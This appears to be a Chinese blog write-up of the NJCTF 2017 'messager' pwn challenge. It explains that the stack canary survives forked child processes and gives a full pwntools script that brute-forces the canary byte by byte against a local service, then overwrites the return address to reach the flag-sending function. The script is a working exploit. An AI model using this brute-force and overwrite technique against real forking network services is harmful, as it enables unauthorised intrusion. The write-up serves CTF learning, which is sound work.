当前位置:网站首页>NJCTF 2017messager
NJCTF 2017messager
2022-07-17 12:04:00 【Day-3】
首先要写一个flag文件。
echo “FLAG{THIS_IS_FLAG}” > flag
程序一开始就将flag从文件里去除,存放到unk_602160,相应的也有一个通过socket发送flag的函数sub_400BC6(),最终目的就是控制程序返回到这个函数。
本题开启了Canary保护,但他是每次开启一个子进程,所以Canary的值不变,我们可以将它爆破出来,注:一定要使用python2,如果有师傅知道为什么使用python3不可以的话,也非常希望你能告诉我。
from pwn import *
def leak_canary():
global canary
canary = "\x00"
while len(canary) < 8:
for x in range(0, 256):
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A"*104 + canary + chr(x))
try:
io.recv()
canary += chr(x)
break
except:
continue
finally:
io.close()
print(canary)
# print("canary: 0x%s" % canary.encode('hex'))
def pwn():
io = remote("127.0.0.1", 5555)
io.rec()
payload = flat(['A' * 104,canary,"A"*8,p64(0x400bc6)])
io.send(payload)
print(io.recvline())
if __name__=='__main__':
leak_canary()
pwn()
边栏推荐
- Laravel generate sub table script example
- 2022年浙江省中职组“网络空间安全”编码信息获取解析(完整版)
- ROV and AUV of underwater vehicle
- laravel 生成分表脚本示例
- Software engineering - ranking of majors in Chinese Universities of Software Science
- vc查看内存泄漏
- Regular expression of rocky basis
- Relationship between standardization, normalization and regularization
- 为什么磁力变速齿轮会反转?
- 如何在双链笔记软件中建立仪表盘和知识库?以嵌入式小组件库 NotionPet 为例
猜你喜欢
随机推荐
【OpenCV 例程200篇】233. 区域特征之矩不变量
Rasa 3. X learning series -rasa version 3.1.5 release
Let, const, VaR in ES6
读取二进制文件的中文乱码问题
Regular expression of rocky basis
Relationship between standardization, normalization and regularization
通信工程论文 通信网络中故障数据优化检测仿真研究
Good news
Software engineering - ranking of majors in Chinese Universities of Software Science
Browser story
ty_ Gr551x code framework
软件工程——软科中国大学专业排名
Go to school = earn money? Immortal college without paying tuition fees!
Good news
String类型函数传递问题
Date -- machine test topic for postgraduate entrance examination of Guizhou University
【MySQL】MySQL的增删查改(进阶)
Huawei Shengsi mindspire detailed tutorial
网络安全学习(千锋网络安全笔记)1--搭建虚拟机
快速判断站点是否存活的 3 种编程实现





![[sort] merge sort](/img/74/80bd271203368f61190af3edd52bb8.png)



